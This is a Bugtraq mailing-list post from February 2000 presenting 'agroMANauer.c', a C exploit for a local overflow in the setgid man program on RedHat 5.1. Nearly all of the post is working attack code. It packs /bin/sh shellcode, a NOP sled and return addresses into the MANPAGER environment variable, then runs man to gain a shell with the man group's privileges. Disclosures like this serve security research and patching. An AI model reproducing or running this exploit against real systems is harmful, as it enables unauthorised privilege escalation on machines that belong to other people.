linux SGID-man exploit
Date: Mon, 28 Feb 2000 06:23:06 -0600
From: mario paskual <buterfre@SDF.LONESTAR.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: linux SGID-man exploit
/*
***************************************************
*** agroMANauer.c ***
*** linux SGID-man exploit ***
*** by buterfree@lettera.net 2000 ***
*** tested on RedHat 5.1 ***
*** It gives an egid-man shell ***
*** ***
*** Dedicado a Juan, Jor y la gente del chamizu ***
*** (Ehhh tio, la guerra acaba de Empezar) ***
***************************************************
*/
#include <stdio.h>
#define BUF_SIZE 5000
#define POS_RET 3500
#define RETADDR 0xbfffefef
// shellcode
char shellcode[] = // 48 caracteres
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
void main (int argc, char *argv[]) {
int i;
FILE *f;
char buf[BUF_SIZE];
long retaddr, offset;
printf ("\n");
printf ("****************************************\n");
printf ("* agroMANauer (linux SGID-man exploit) *\n");
printf ("* by buterfree@lettera.net 2000 * \n");
printf ("**************************************** \n\n");
printf ("Try offsets -3000,0,3000,...\n");
printf ("Use : %s [offset] \n", argv[0]);
offset = 0;
if (argc>1) {
offset = atol (argv[1]);
}
retaddr = RETADDR + offset;
printf ("Return Address = 0x%x \n",retaddr);
// Fill buffer with NOP's
memset (buf, 0x90, BUF_SIZE);
buf[BUF_SIZE]=0;
// Copy Return Address
for (i=POS_RET; i<=BUF_SIZE-10; i+=4) {
*(long*)(buf+i) = (long) retaddr;
}
// Copy shellCode
for (i=0; i<strlen(shellcode); i++) {
buf[i+POS_RET-strlen(shellcode)-20] = shellcode[i];
}
// Export TERMCAP
setenv ("MANPAGER", buf, 1);
// Run program
execl ("/usr/bin/man","man","ls",NULL);
}
